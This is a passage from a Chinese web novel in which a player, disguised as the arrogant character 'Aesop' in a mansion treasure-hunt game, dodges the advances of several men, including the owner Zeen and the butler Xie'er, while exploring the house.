视线中出现管家那张挂满微笑的脸，他沉默着，分神思考性格恶劣糟糕的伊索到底是怎么吸引这些人的，以及他使用的这个壳子到底是来吊人的，还是来寻找宝藏的。
沉默太久，空气变得令人不自在，程朔皮笑肉不笑地回答：“不用了，我已经完全好了。”
管家笑了笑，语调沉了下去，听不出是真心的还是随口一句玩笑：“那真是可惜了，我原本还想着伊索先生若是入睡困难，我可以陪着伊索先生。”
这要是陪着自己，晚上还能睡着吗。
程朔笑容更加勉强，没再说什么，隐约有种修罗场的错觉。
无声良久，管家终于离开。
站在灯光下的青年松了一口气。
解决了一个，房间里还有两个，让人头疼。
房间安静下来，程朔看向床上扭动的被子，无语妄想天花板，明白管家还是发现了，那句话就是提醒。
这么明显，想不发现都难。
伊索所谓的需要人陪着入睡，到底真是单纯睡不着，还是做其他。
程朔越想越歪，摘下眼镜擦拭了下，重新戴上，一下对上双眼睛。
房间里开着灯，让他能看清第一个进来的男人面容。
看上去年纪比较小，二十岁出头的样子，棕色头发，娃娃脸，眼睛很大，此刻满脸笑意。
“伊索，今晚选择我吧。”男人诚恳地说，“我很好睡的。”
谁在乎这点啊。
程朔被他最后一句话惊到，眼见着他还要开口，生怕又是一句糟糕至极又引人误会的台词，连忙打断：“等等，你别出声。”
这到底是个什么大杂烩游戏，要都是这种申金台词，他扮演伊索不是分分钟破功吗。
男人眨眨眼，一脸无辜：“怎么了？你不是最喜欢我的声音了吗？你还喜欢我对你撒娇。”
他站起身，伸手抚摸着程朔肩膀，张开手就要抱住程朔，被程朔早有预感，迅速躲开了。
“伊索现在最喜欢的是我。”上铺的男人掀开被子，冷漠地盯着棕发男，“识趣的话现在就出去。”
“我先来的，要出去也是你出去。”棕发男阴阳怪气起来，“你是看不得伊索先生在乎我，吃醋了吧。”
上铺男勃然大怒，迅速下床，再没了一开始的温柔。
程朔抬手，试图阻止两人。
但他速度慢了，上铺男已经下来给了棕发男一拳。
棕发男“嗷”一声，捂着脸藏在程朔身后：“伊索先生，他打我，他欺负我，呜呜，伊索先生可要为人家报仇哇~”
程朔心想我也怕他给我一拳。
他低咳一声，面上还要装出不好的表情：“闹够了吗？都给我出去。”
两人瞬间安静下来。
棕发男小心翼翼地扯着程朔衣服，拳头男沉默着揉了揉自己的手背。
程朔面无表情扯住自己衣服：“出去吧。”
他实在不知道伊索怎么面对这两个人，干脆趁这次机会打发走算了。
“不要。”棕发男商量着，总算恢复正常，“我错了，你让我留下来陪你吧。”
拳头男放下双手，脸上出现最开始那样温柔的笑：“说好了今天我来陪着你，伊索，不能反悔。”
刚刚才上演神金一幕，谁还知道后面会怎么样。
程朔实在不想和两人牵扯下去，毕竟他们也不正常。
“我今天累了。”程朔冷漠道，“你们出去。”
他表现出非常不耐烦的样子，眼睛故意瞪大一些，皱着眉，透着一些凶狠。
“那正好，我让你放松放松。”棕发男抱住他的手臂，“伊索，你忘记了昨天的快乐吗？”
一句话轻松让程朔裂开，恨不得拿起枕头把这人的嘴堵住。
“伊索，选我。”拳头男握住他的手，“我会让你更快乐。”
“闭嘴。”程朔被他们这几句话弄得羞得慌，甩开男人的手，推开棕发男，几乎是咬牙说出一句话，“我今天没心情。”
到最后怎么躺在床上的程朔都快记不清了，只是这两人诡异地达成了某种和平，一个躺下面，一个躺上面。
床很大，程朔躺在床边，棕发男在里面，两人之间的空位还能再挤下一个人。
他生怕发生什么意料之外的事，关灯就躺下睡觉了。
让程朔松口气的是，伊索和这两个人似乎真的只是单纯地躺在一起睡觉，他在紧绷提心吊胆中睡了过去。
恍惚中，程朔听见了下床的动静，还以为是床上的人翻身导致的并没有多想，直到他隐约觉得有人靠近自己又离开。
……
黑暗中，躺在床上的青年睁开眼。
借着月光可以看清房间大概，程朔侧身，陡然对上一张贴得极近的脸，吓了一大跳，默不作声地往后挪了下。
随即他发现躺在身边的不是棕发男，是拳头男，并且离自己非常近。
这两个人估计商量好了，一人一半夜。
程朔整个人都快麻了。
一定要赶紧离开这轮游戏，他快坚持不下去了。
一夜相安无事，天一亮，程朔自然醒了。
两个男人比他醒得还早，一个坐在椅子上，一个站在床边，都看着他一言不发。
怪不得总觉得睡得不自在，原来是这两个人导致的。
程朔是真没好气翻了个白眼，起床去卫生间洗漱。
“伊索好可爱。”棕发男站在
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卫生间门口笑眯眯道，“天亮了，我们要回去了。”
程朔刷牙的动作一顿，含糊不清问：“回哪里？”
“当然是三楼了。”棕发男摆手打招呼，“伊索要记得想我哦。”
程朔没说话，快速洗完，抬头看向棕发男：“你住在三楼？”
下楼的时候他通过楼梯知道这里有个三楼，没想到上面竟然还住着人。
伊索是怎么和三楼的人有联系的，还这么亲密？
最重要的是这两人和主人、管家都不对劲。
“是的。”棕发男给了个飞吻，“我走了哟，不然被那老头子知道了又要念叨了。”
神奇的是程朔竟然通过他嫌弃的语气知道所谓老头子是管家。
“伊索，晚上等我。”拳头男笑着说。
程朔面无表情地刷完牙。
他才不会等，晚上就反锁门，用东西堵着，谁都别想进来。
两人一前一后离开。
还不到时间，程朔不能离开房间，只能站在门口目送两人走上三楼。
他退回房间中，耐心等待着管家来通知下去吃饭。
时间一分一秒过去，程朔脑子都快编出三本小说，敲门声终于响起。
这次才敲了一下，房门就打开了，露出青年那张白皙老实的面容。
“昨晚是不是没有通知用餐？”戴着眼镜的青年极其不满地问，那张原本平平无奇的脸上表情瞬间丰富生动起来。
管家微笑出声：“抱歉，昨晚别墅里未准备晚餐，不过今天的早餐很丰盛，肯定能让伊索先生满意。”
“你说满意就满意？”青年拿下眼镜随意地擦拭着，未戴眼镜时，他那双漂亮的眼睛再无法藏起，只单单斜睨一眼，就能勾起人的无数心思。
管家目光微动，伸出手，在青年略带威胁警告的眼神下，隔空从他的眼前擦过，微笑向下。
“伊索先生，我来为你擦拭眼镜。”
管家目光微动，伸出手，在青年略带威胁警告的眼神下，隔空从他的眼前擦过，微笑向下。
“伊索先生，我来为你擦拭眼镜。”
手指触碰到拿着眼镜布的手，青年一抖，表情有一刹那的不自然，随即怒了：“我需要你来帮我吗？”
眼镜布被狠狠丢在他脸上，并不疼。
青年关上门，戴上眼镜往楼下走去。
是不是太过了。
听着后面久久没动静，早就后悔的程朔闭了闭眼，颇为无奈地抿了下唇。
根本把控不好那种人设，他只能过，不能收敛。
而且他怀疑管家有些病态，似乎就喜欢伊索骂他，对他摆出不屑高高在上的姿势，不这样说不定分分钟就会被怀疑。
程朔无奈摇头，走下楼。
手拿眼镜布的管家站在二楼围栏旁，目送那道瘦弱的身影停在餐桌前，捏紧了手中眼镜布。
随即他小心翼翼地折好，放进西服口袋中。
管家转身，挨个去敲其他人的房门，只是那态度自始至终都十分疏离冷淡，完全没有面对程朔时满脸笑意。
＊
程朔停在餐桌前，犹豫片刻自己的位置，最终还是坐在了右边第一位。
刚坐下不久，身后响起脚步声，程朔偏头，别墅主人正从楼上下来，步伐散漫，整个人尽显慵懒，下楼的动作像是在走台一样。
他依旧穿着黑色华贵的礼服，与这个别墅极为融洽，相反穿着简单白衬衫的程朔就有点突兀。
“伊索先生，早上好。”男主人坐在主位，手指划过程朔放在桌上的手臂。
触感太过于酥麻，轻微的痒意弄得人心尖发抖，程朔咬牙忍了又忍，才没有划回去。
他放下手，也不去看男主人，任由他的目光肆无忌惮地在自己脸上描绘着。
“伊索先生昨晚没睡好吗？”男主人手肘抵在桌面，双手略微交叉，放在下颚处。
他并没有贴着下颚，而是有些距离，就那样脑袋轻歪，笑着等待着程朔的回答，语气温柔到令人恍惚。
比起来之前的睡眠，昨天确实不算睡好了。
程朔这么一想，太阳穴突突抽跳了几下。
他按揉着太阳穴，整个人身体才刚开始放松，手指忽然被握住，紧接着手被拉过去。
男主人一只手握着他的手指，一只手放在他的太阳穴，力道刚好地按揉起来。
本该拒绝的程朔瞬间沉溺在这让人舒服的动作中。
男主人目光真切地望着他，眼底荡漾着柔和的笑意，像是编制好的梦境令人沉醉其中：“伊索先生真是可爱。”
5. 第五章
第5章
程朔差点被迷住，接受他夸自己可爱的话。
注意力从太阳穴转移到被被轻轻捏住的指尖，他试图抽回自己的手，遭到拒绝。
指尖宛如点燃了火焰般，顺着手指传至心里，滚烫的热意烧的人脸颊发烫。
楼上的玩家怎么还不下来。
程朔刚焦急地想完，身后响起各种脚步声。
他趁机收回自己的手，顺带把男主人贴在太阳穴的手指推开。
“可爱这个词留给你自己吧。”程朔语气充满傲慢，却丝毫不让人反感，反而让人有种想继续挑逗他的冲动。
男主人只笑不语，只是那眼底的笑意逐渐化为了浓稠不易被分辨出的情绪。
夸人时的语气都能这么变态，得离这男主人远一些。
程朔想着，搬起自己的椅子，往旁边挪了下。
他不知道自己刚刚和男主人暧昧的动作有没有人注意，环顾一圈，发现每个人都在一边坐下，一边小心地打量着男主人。
“来了这么久，我还没有向大家好好介绍一下。”男主人依旧是之前的坐姿，面向其他人微笑。
“我叫泽恩，是这栋别墅的主人。当初建立这栋别墅时让人藏了五份宝藏，可时间太久我忘记了宝藏在哪，所以诚邀各位来替我寻找，找到后有重金酬谢。相信这两天大家应该都见过管家了。他叫谢尔，大家有什么不明白的可以问他。”
没人说话，程朔坐在一边充当一个安静的雕像。
昨天和今天用餐，三楼的人都没有下来。
他昨天看到的那两位，是真的住在三楼，还是在说谎的？
“伊索先生。”
三楼除了那两个人不知道还住着谁，这栋别墅也不知道一共有几层。
男主人都开始介绍了，等会儿吃完饭应该就可以自由活动，到时候他要好好观察这栋别墅。
“伊索先生。”
无数目光袭来，程朔骤然醒神，抬眼应声：“我在，怎么了？”
答话的语调太过温柔寻常，根本不似他的人设，程朔暗说糟糕，还没来得及补救，泽恩笑了笑：“我想问伊索先生对宝藏有什么想法？”
“没有。”程朔趁机发挥人设，“我刚来多久，你问我我怎么知道？还不如问你的管家。”
他随口说完，身后近一点的地方有风拂过。
管家谢尔微俯下身，用温和的嗓音开口：“我同主人一样，记不起来了。伊索先生和各位都是有名的探案家，推理家，往后还要麻烦各位寻找宝藏。”
离得明明有些距离，却宛如贴在耳边说的那般，程朔甚至都能感觉到谢尔的呼吸。
他忍不住抬手捂着耳朵，想避开，又觉得没必要，两个想法互相打架，最后憋得满脸烦躁。
重心都在他这里，其他玩家到现在都没被点一下，不行，得转移一下这两个人的注意力。
程朔黑眸轻微转动，扯住话题：“泽恩先生都介绍了，那我们也互相介绍一下吧。”
正好可以趁机认识一下这些玩家，知道他们是什么身份。
住在第二间房，程朔有印象的男人第一个开口介绍：“我叫苏南，探案家。”
接着是程朔对面的男人：“我叫询风，推理家。”
“李河山，探案家。”
“东为，探案家。”
“……”
随着一个个介绍过去，程朔不禁傻眼。
谁都有身份牌，怎么他没有？
关于伊索的介绍中可没有说出他是探案家还是推理家，为什么这些人全都有？
难不成自己是那一直提心吊胆的捕捉者。
所有人介绍完毕，只剩下提议的程朔。
他咽了咽口水，喉结微微滚动，莫名有一种玩大型狼人杀的紧张刺激感。
难不成自己要开口介绍——伊索，刚毕业大学生。
那会分分钟被驱逐出去吧。
迎上所有人的目光，程朔硬着头皮说：“我是伊索，推理家。”
所有玩家互相知晓了彼此的姓名，各自打量着感兴趣的人。
“好了。”泽恩放下双手，端坐笔直，语气冷淡地开口，“那就开始用餐吧。”
谢尔应下一声，挨个上早餐。
早餐很意外的是灌汤包，一闻到香味，程朔整个人快迷失了理智。
一盘灌汤包放在他的面前，泽恩似乎注意到他过分火热的视线，斜睨过来。
程朔假装无事发生，挺直腰杆，视线乱飞，就是不看灌汤包。
但只要明眼人一看就知道他很喜欢眼前的灌汤包，已经到了迫不及待想品尝的地步。
“用餐吧。”泽恩开口。
程朔故意慢别人半拍夹起灌汤包，等凉一些后放入嘴中。
汤包炸开，浓郁的汤汁香而不腻，一切都刚刚好。
他喜欢到眼睛都不自觉弯起来，很想找个人分享，扭头对上泽恩温和的笑，分享词卡住。
再转移目光落在谦和温柔的管家身上，更是一点分享欲都没了。
“怎么了？”泽恩眼里满是关切，“烫到了？还是不好吃。”
这和问询恋人没两样的话引起了其他人的注目。
程朔尝试撇清关系：“没有，别多管闲事。”
恶劣的语气让大厅的温度将至冰点，程朔已经扮演得得心趁手，知道泽恩这厮绝对不会生气，反而还会有一种变态的满足感，并不特意关注，继续吃着灌汤包。
“好。”果然，泽恩笑吟吟地答应下来，除此之外什么反应都没有。
这态度让其他玩家有了一种错觉。
——这位男主人好像性格挺好，最重要的一点是他应该喜欢男人。
在场男玩家有了不同心思。
别墅主人的线索肯定有很多，得到线索就能得到宝藏出去，压根不用在这里浪费时间。
想到这，有人开始按耐不住，主动开口：“泽恩先生喜欢什么？”
一句话，泽恩嘴角的笑意自然地消失了不少。
谁都能看得出他没多少聊天欲望，一时间想法万千。
难道不是喜欢男人，单纯的喜欢那位玩家？
“那位玩家”程朔完全不知道其他人想法，吃完灌汤包心满意足地笑了。
不过是偷偷的。
本性糟糕的人还是少笑为好，省的惹出其他麻烦。
程朔很快注意到多数人的注意力在自己身上，不明所以地环顾四周。
有几个人的眼神明显在他和泽恩身上来回流转，他猜出这些人在想什么，用食指推了推眼镜，略微蹙眉。
程朔本人非常想证明一下性向，大喊自己是直男，不喜欢泽恩，对他这种变态没兴趣。
但为了小命，他只能扮演喜欢男人的人设。
程朔内心接连叹息，吃了个灌汤包，瞬间撇去了其他想法，专心吃饭。
一顿早餐吃了半个小时，最后桌上只剩下空盘。
早就吃完饭的程朔快坐不住了，眼神早就开始打量着其他人。
大厅内静默片刻，泽恩站起身：“那从今天开始，就麻烦各位替我寻找宝藏了，时间为一周。一周后各位要是没人找出宝藏，我只能将各位请出去了。”
他垂眸扫了程朔一眼，给了他一个安心的表情，似乎想对程朔表明，他不会在各位之中。
程朔假装没看到，无聊地盯着桌面。
他想好了，就算伊索喜欢男人，来的时候还和泽恩说过那样的话，那他后面也要努力避开泽恩，而不是迎上去。
“开始吧，各位。”泽恩收回目光，淡声宣布着，“别墅内除了客人的房间，其他地方大家都能寻找。”
客人？昨天那两个人？
程朔敛眸沉思，连泽恩什么时候离开的都没发觉，听见其他玩家彻底放开的讨论声才回过神。
“这主人看着好奇怪。”苏南嘀咕着，“每次吃饭的时候都让人胆战心惊的。”
“是啊。”询风笑着附和，“我坐在他旁边吃饭声音都不敢发出来。他一笑我更觉得瘆人得慌。”
程朔也这么觉得，想出声聊两句，末尾处已经有人接连起身。
“坐在这聊什么呢，不赶紧找线索。”
“这游戏我一刻都不想待了，赶紧找东西离开吧。”
“哈，总共就五份，十几个人怎么分？还有人有聊天的心思，真让人羡慕。”
“……”
程朔重新闭上嘴。
泽恩什么线索都没给出，他们目前最多只能逛下别墅。
想起自己还要去三楼确定，程朔站起身。
“一起吗？”苏南叫住他。
程朔一愣，环顾四周才发现有不少人组队一起寻找。
“一个人怪不安全的。”苏南解释道。
谁都知道第一天最多找出一点线索，与其有潜在危险一个人无头苍蝇乱找，还不如和别人一起。
等到后面有碎片的线索了，再一个人偷偷行动。
“好啊。”程朔微笑，还记得有捕捉者存在，他的人设依旧要维持。
这些人不知道是否和他一样，需要扮演着躯壳的人设。
“那我们走吧。”苏南站起身。
短短功夫，十四个人分成了七个小队，分散探查。
一楼人太多，程朔先从二楼查起。
除了房间外，走廊上只有挂在墙壁上的几幅画，画德色彩使用手法倒是和他看到的那副权杖女王很像。
程朔踮起脚，将第一幅画拿下来检查，确定没问题后放上去。
耳边响起脚步声，也有人上来发现这些画，挨个拿下来检查。
没什么线索。
三楼毕竟没去过，说不定有危险，程朔回到一楼，询问和他分开的苏南找的怎么样。
“我试了下别墅大门，打不开。剩下的恶除了一些画值得注意，也没什么了。”苏南指着墙壁上挂着的画，“这些画看久了还不舒服。”
不同于二楼的画，一楼十几幅画比较小，画风极为诡异，多数都是黑白灰，色调呈现一种死亡的危险感，多看一眼都觉得寿命在减少。
“二楼也是画，没这么吓人。”程朔仰头，看向通往三楼的楼梯，“现在只剩下三楼了，去不去？”
“其他人也一直在纠结呢。”苏南一指旁边只盯着楼梯，没着急上去的其他玩家。
本来程朔并没那么多顾虑，见看其他人那么慎重，小声讨论着，弄得他也开始纠结犹豫。
他想起自己的人设，努力扮演着：“怕什么，能有什么危险？上去。”
一楼没房间，程朔猜
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测管家谢尔和男主人泽恩都住在三楼。
“好吧。”苏南见他这么果断，点头同意。
两人慢吞吞走上二楼。
程朔能清晰感觉到身后一道道的目光，他就像是个气球，而那些目光宛如针般令他极度不适。
程朔当即转身，站在围栏边居高临下地望着那些人，随后抬抬眼镜，冲下面的人竖起中指。
“看什么看？再盯着我看，有你们好果子吃。”
刚说完程朔就后悔了，这话有点嚣张，太惹人瞩目。
听到下面玩家不可置信的一声“哇”，他更是受尽煎熬，脸皮火烧得热，无法再待下去，拍了下苏南，飞快往三楼跑去。
下次能不能给他一点正常人的人设，这要是扮演伊索久了，他都怕自己真成为伊索了。
程朔心里疯狂吐槽，一直低着头只管往上，没注意其他。
等反应过来，视线里出现一双黑色的皮鞋，身后跟着的苏南也停下步伐。
程朔缓缓抬头，管家谢尔站在楼梯旁，微笑面对着他。
三楼光线不好，又没有开灯，他整个人都快融入那昏暗之中，突然这么一对视，程朔受到了惊吓，心脏乱跳不停。
“伊索先生，有什么能为你服务。”谢尔温顺垂眸问。
程朔心说你离我远点，别和我搭话就行了，要什么服务。
他抿唇，保持着伊索的性格：“谁让你突然出现的，吓到我了知不知道？”
带着点愤怒的语气也算是他的心声，毕竟他确实被吓到。
“抱歉。”谢尔满脸歉意，温和的眼眸直直地盯着程朔，“是我的原因，吓到伊索先生了十分抱歉，为此我愿意补偿伊索先生。”
早就知道这游戏不正常，一听见他说补偿，程朔整个人都难受了，特别是还回想起昨晚他说的那句话，立刻拒绝：“不需要。”
他顿了顿，补充一句：“你算什么东西，我需要你的补偿吗？”
很好，这么愤怒伤人的话，是个人都会受不了。
谢尔脸上的笑意缓缓消失，黑长的睫毛垂下，遮去了眼底的一切情绪，看着有些可怜。
程朔心里觉得抱歉，但起码人设没问题，说不定从这之后还能甩开谢尔，让他别再把注意力放在自己身上。
“抱歉。”意外的，谢尔再次道歉。
他抬头，双眸微微一弯，薄唇上扬，和之前几乎没有什么变化：“我确实没资格补偿伊索先生。”
坏了，忘记他是变态了，不是正常人。
程朔听见他的话简直想哭，不知道他和男主人泽恩的脑子到底是什么构造，如此让人猜不透。
“你让开。”他收起思绪，望着谢尔丝毫没有情绪外露的那张脸，咬牙道，“我要逛逛三楼。”
“是。”谢尔乖乖地退到一边。
程朔往前走了两步，发现苏南没跟上来，回头用眼神示意他跟上。
苏南一脸别扭，不用说也知道他肯定觉得自己对NPC说的话太过严重。
不这样死的就是他了。
程朔越发萎靡了，以至于都没看到低着头的谢尔脸上一闪而过，带着一丝疯狂的笑意。
三楼意外的只有六个房间。
程朔在心里默算：管家和男主人住这里，那两个身份不明的人也在这里。
还多出两间不知道干什么用。
苏南快步跟上来，小声开口：“你刚刚那样子有点吓人。”
“我？”程朔打量着周围，不放过任何可能有线索的地方，漫不经心地问苏南。
“不是你。”苏南说，“你说完这话之后，管家吓人。”
何止是吓人，他和男主人都是变态。
程朔很想告诉他，为了人设说不出口。
按照伊索的性格，可能知道对方是变态还会兴奋。
经过苏南这么一说，程朔忍不住回头看了眼。
谢尔还站在楼梯口，并且正看着他这边，那眼睛亮亮的，温柔无比，像是找到了什么珍爱的东西，需要小心翼翼捧在掌心里、守护着。
程朔起了一身鸡皮疙瘩，他对这种饱含占有欲，想把某样东西，某个人变成自己的眼神非常敏感。
就像他碰到喜欢的一切，眼神也会藏不住。
对上程朔的目光，谢尔冲他弯唇笑了笑，那笑意在黑暗背景的衬托下显得格外深长。
程朔加快脚步，想把这眼神甩掉。
一个谢尔他已经束手无措，难以想象猜不透的泽恩还有昨天房间里的那两人。
他真诚希望把伊索身上隐约的万人迷buff取走，换为万人嫌。
毕竟这糟糕至极的性格不就应该容易被人讨厌吗。
程朔收起乱七八糟的思绪，停在第一间房前。
房间都长得一样，他实在看不出谁是谁的。
宝藏应该藏在一些难发现的地方，要是别墅所有房间里没有，也许会藏在大厅地下。
程朔若有所思，侧头发现谢尔不在了，立刻扶住门把手尝试推开。
推不开，他迅速换下一个，六间房都无法推开，这早有预料。
不过让程朔没想到的是，他刚把侧脸贴在第一间房门上，想听听声音，门忽然开了。
下一秒，他的手腕被紧紧扣住，一股大力将他扯了进去。
6. 第六章
第6章
进去前，程朔只来得及看到苏南背对着自己，和自己一样姿势试图偷听。
他被拉进房间，苏南还没发现，这也就代表如果他在房间里出事被淘汰了，根本没人能救他。
程朔整个人紧绷警惕到了极致，特别是房间里关着窗帘，又没开灯，一切藏匿在昏暗中，不容易被窥探。
手腕还被抓住，那只手大拇指故意在他的手臂上摩挲着，动作非常慢，非常轻柔，也因此让人的感受更为敏感。
程朔猛地抽出自己的手，怕再晚一秒就能暴露颤抖的身体。
他抬头，努力分辨着站在自己眼前，以一种禁锢姿势将他抵在门后的男人。
对方脸完全看不清，只能隐约看出一点轮廓，十分熟悉。
昏暗中，唯有那双眼睛看得清，表情无法捕捉到，男人眯了眯眼，缓缓俯身凑近，鼻尖抵在程朔的鼻尖，危险的嗓音中夹杂着一丝不太明显的愉悦。
“伊索，你这是做什么？”
是泽恩，另一个变态。
他现在在愉悦什么？
程朔大脑后知后觉反应过来——他闯入进来，对于眼前或许将他视为猎物的人来说，确实值得愉悦。
但这份从他身上获得的愉悦让他本人浑身难受，空气中都仿佛遍布着看不见的透明针刺。
程朔侧身不去面对泽恩：“抱歉，我走错了。”
他握住门把手，尝试开门，即使没有特意去看身侧之人的表情，也能通过氛围察觉出泽恩对于他的话有些许不高兴。
奇怪的是门无法从里面打开，程朔刚要认真看是不是反锁了，衣领处多出一只手，抓着他的衣服往后一扯。
程朔猝不及防倾斜了身体，双手慌忙去扶墙，试图稳住。
下一秒，他被身后之人紧紧从后抱住。
泽恩双手揽住他的腰，下巴放在他的肩膀上，明明没靠太近，程朔却能清楚感觉到他的呼吸。
“你之前说过需要我，现在我也需要你。你会陪着我的，对吗？”
最后两个字轻微上扬的语调似在提醒着他若是拒绝将会有多危险。
空气都仿佛随着他的话陷入冰封，程朔身体僵如石板，注意力全在伊索放在他腰处的手上。
说陪着你的是真伊索，我只是个假的。
他刚准备开口，腰处的手略微挪动，环住他的腰。
泽恩故意动得缓慢，那双手带动着衣料擦过肌肤，程朔身体一抖，就好似中间没有衣料隔着般，他能清晰地感觉到泽恩手臂的温度。
两人虽然贴得紧，但还有点距离，包括那双手也没有将他环得很紧，可程朔莫名有种被阴冷毒蛇紧紧圈住，恨不得融入身体里的荒谬错觉。
他觉得房间里的空气正在减少，以至于无法轻松呼吸，费力呼吸之后抓住泽恩的手，努力掰开。
皮肤滚烫，好似触碰到什么不该碰的，程朔瑟缩了下，反射性收回手。
长久的紧迫感犹如脑袋上悬挂着一把随时掉下的刀，令人口干舌燥，他强迫自己冷静下来后开口商量。
“那些话都是开玩笑的，请你不要放在心上。”
这么说太温和，人设不够，程朔紧急补充一句：“当时不过想跟你随便玩玩，随口说的，你怎么还当真了？”
时间太短，没空思索太多，等说完后程朔才反应过来，这句话简直糟糕到了极致。
泽恩要是原地把他掐死，他都觉得没问题。
周遭静默下来，空气仿佛都被这诡异氛围被冻住，泽恩从始至终都没说什么，甚至都未动过。
程朔听到了自己由于紧张而跳动过快的心跳。
他舔了舔干裂的嘴唇，希望自己在这场无声地凌迟中坚持下来。
倏地，程朔耳边响起一声低笑。
原本放在他肩膀上的下巴抬起，那股重量消失，他还没来得及放松身体，耳边出现了温热的气息。
泽恩唇贴在耳边，再次意味不明地笑了声，一句话都不用说，便使得程朔直接破败，下意识挣扎起来。
直到发现自己根本动弹不得，他才后知后觉想起腰上那双手。
泽恩松了点力道，耳边的气息更近了。
程朔看不到，只隐约觉得只要自己动一下，耳朵就能与他的唇紧密相贴。
几乎根据本能地握住泽恩的双手，程朔大脑空白，放弃思考：“你松开我。”
“嗯。”泽恩应下一声。
下一秒，耳边的气息离开，紧接着他被松开。
所有的压力源就这么消失不见，以至于之前发生的一切好似幻觉。
程朔头疼，他根本猜不透泽恩的想法，例如此刻，原本以为要多费口舌，结果他就这么松开了，显得他之前的紧张与难受都似乎成了笑话。
“我要离开这里。”想起自己目前要做的事，程朔说，“你把门打开。”
“门没锁。”泽恩笑道。
程朔再次握住门把手，依旧拉不开，还没说话，身后泽恩问：“你这么着急离开吗？”
他不是着急，他是已经恨不得从原地直接消失。
泽恩的话虽然是询问，但听不出任何情绪，无法让人琢磨其中意思，这才是最恐怖的。
令人发怵的压力感再次袭来，程朔身体紧绷如弦。
他闭上眼，破罐子破摔之际还不忘提醒泽恩自己现下需要做的事：“是的，我要去寻找宝藏。”
既然猜不透，干脆不猜了，反正是个变态就对了。
泽恩的目光穿透黑暗，准确无误地落在程朔脸上。
那视线太过平静，不掺杂一丝一毫的情绪，程朔好不容易沉下去的心又提起来。
不得不承认的是他害怕泽恩。
管家谢尔变态是变态，没有这么强的压迫感。
泽恩完全不同了，他就像个藏起来的未知数，无法用正常人的思维观察理解。
程朔再次开门，恨不得把门砸了出去。
“伊索。”身侧之人用让人头皮发麻的温柔嗓音唤道，“不要着急。”
这怎么可能不着急。
身上的毛孔敏锐的感觉到不可预知的危险，瞬间炸开，程朔拉门的动作变得急促用力，弄得门发出巨大的响动。
可惜依旧没能把门打开，反而腰上再次多出一只手。
泽恩抱起他，轻松到让程朔觉得自己好像是空心木偶。
身体悬空，被泽恩单手抱着往前走，不等程朔挣扎，他被放在柔软的床上。
脸抵着床，比他那个硬如木板的床舒服多了，程朔傻了两秒，起身就准备跑。
房间里不知何时彻底没了光亮，好在他的眼睛勉强适应了黑暗，能从中窥出一些模
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糊的轮廓。
程朔一眼注意到笔直站在床边，盯着他不动的泽恩。
那从上到下，似打量般的目光令程朔活生生僵坐在床上，直到听见自己乱如麻的心跳声才恍然回神。
“你干什么？”他拧着眉，愤怒无比地抬着脑袋，以至于脖颈绷出优美的曲线，让人生出了几分想要触碰感受脆弱的冲动。
深黑之中，沉默的泽恩垂下眼，他仍旧没有说话，若不是眨动的眼睛，像极了在黑夜中静立不动的雕像，冰冷死寂却又带着莫名的危险。
程朔觉得自己太被动，站起身冲向门口，踹了一脚门锁。
门开了。
光线从打开的门缝中跳跃进来，房间亮起，程朔站在光亮中只来得及往前踏了一步，再次被泽恩抱着腰转回房间。
下一刻，房门关上，明亮的光被门遮挡完全，程朔又回到了伸手不见五指的黑暗中。
他觉得自己此刻变成了伊索，理智全无，只剩下被人逗弄多次的糟糕情绪。
“你疯了吗？有完没完？”
泽恩不说话。
“你现在是变成哑巴了吗？”
“你把我困在这里想干什么？”
程朔叫到嗓子都嘶哑了，回应他的只有泽恩朝他靠近的脚步声。
鞋底与地板摩擦发出响动，每一下都似踩在了程朔心脏，眼皮随着那动静不安跳动，直到泽恩站在他面前，与他近到只有十厘米的距离。
“你……”程朔想骂他，又怕骂过分了吃亏的是自己，硬生生咽回去了。
泽恩俯下身。
温热的气息扑面而来，与他近在咫尺，程朔呼吸一滞，本该狂怒暴躁的他在这一刻莫名燥热了脸。
滚烫不正常的热意席卷全身，令他手指颤抖，脑子都被热麻了。
现在应该做什么……他不会被亲吧？
程朔心都提到嗓子眼，感到那气息越发近了，猛地闭上眼，紧张到脚趾都不禁扣住。
眼前之人没了动静，程朔骤然冷静下来，心跳恢复原有节奏，身体温度趋于平和，他缓缓睁眼。
泽恩似乎在笑。
太黑了，程朔无法确定，只隐约注意到他上扬的唇角，咬了咬牙，心中翻涌出一股羞赧感。
又在逗自己，太可恶了。
身体倏然腾空，程朔又一次被放在床上。
不同于上次，这次他刚被放下，泽恩就躺在他身边，伸手圈住他的腰，将他带进怀里。
温暖的怀抱有一瞬间让人贪恋，明明隔着衣服，却宛如与泽恩肌肤相贴。
陌生的温度传递至身体，程朔顿时惊如熟虾，整个人忍不住蜷缩在一起。
背脊抵在胸膛，腰上的手收得更紧，亲密的姿势宛如夫妻般，让程朔慌了一刹。
他不用想就知道自己的脸此刻红得有多严重，也不敢去想，只能感觉到身体发烫，又起了一层鸡皮疙瘩。
重点是除了这些没别的反应了。
他不喜欢男的，但竟然不讨厌泽恩这样触碰，还满心羞意
真是见鬼了。
脑子机械半天，终于找到自己应该做的事，他抬手挣扎着去推泽恩：“我不喜欢男人，之前跟你开玩笑的，你是听不懂人话吗？”
“别动。”肩膀上多了重力，泽恩蹭蹭他的脖颈，声音低沉，“陪我睡一觉吧。”
7. 第七章
第7章
如果说之前理智游走于崩溃的边缘，那现在是彻底崩溃。
程朔耳根子烫到大脑都开始充血，他不断推开泽恩的脑袋，气笑了。
“谁陪你睡觉？你这个变态离我远点。”
“快点起来。”
“走开。”
“……”
变态果然是变态，陪睡觉都能说得这么理直气壮。
程朔双手并用，各种翻身，折腾半天泽恩的手还在他身上。
他怒了，用力扒拉着那双手，发现力气小得可怜，一下都没撼动，反而让泽恩抱他抱得更紧，几乎想将双手与他的身体融为一体。
废物伊索。
程朔觉得自己就像个翻身翻半天还在原地没动一下的咸鱼。
“别这样。”感受到他安静了，泽恩和他商量，“安静陪我睡一觉就好。”
又来。
程朔在黑暗中毫不客气地翻白眼，试图骗他：“那你先松开我，现在这个姿势我不喜欢。”
“好。”出乎意料的，泽恩迅速收回手。
变态是真变态，好骗是真好骗。
程朔来不及笑，迅速爬下床。
运气不好的是，两秒钟就被抓住小腿扯了过来。
裤子早就在爬的过程中掀上去，导致手指抓住了肉。
被触碰到的地方一阵酥麻发痒，身体像过电流般，程朔忍不住抬脚用力踹去。
……踹死了整个房间的空气。
程朔被无用的自己伤害到，沉默着停下所有动作。
泽恩抓着他的脚将他拉到身边，重新揽入怀中。
“伊索，只是睡一觉。”或许真的困了，他的声音沙哑无比，比之前要好听多了。
